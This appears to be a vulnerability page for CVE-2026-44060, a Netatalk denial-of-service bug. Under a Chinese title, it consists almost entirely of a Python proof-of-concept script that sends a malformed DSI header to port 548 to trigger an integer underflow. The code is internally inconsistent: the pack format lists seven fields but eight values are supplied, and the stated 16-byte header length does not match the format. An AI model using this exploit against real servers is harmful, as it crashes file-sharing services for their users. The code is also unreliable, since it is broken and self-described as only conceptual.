CVE-2026-44060 Netatalk整数下溢致拒绝服务漏洞

import socket import struct # Target host and port HOST = 'TARGET_IP' PORT = 548 def send_exploit(): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # DSI Header structure (simplified for PoC) # Flags: Request, Command: Write (or similar) # The goal is to trigger the underflow in dsi_writeinit() # by setting a specific length field. dsi_flags = 0x00 dsi_command = 0x02 # Example command code dsi_request_id = 1 dsi_data_offset = 0 dsi_total_length = 0x00 # Malformed length to cause underflow dsi_reserved = 0 # Construct header (16 bytes) # Note: Actual structure depends on Netatalk version, this is a conceptual PoC header = struct.pack('!BBHIIII', dsi_flags, dsi_command, dsi_request_id, dsi_data_offset, dsi_total_length, dsi_reserved, dsi_reserved, dsi_reserved) # Padding/Alignment # Sending the crafted packet s.send(header) print("[+] Malicious packet sent to trigger integer underflow.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()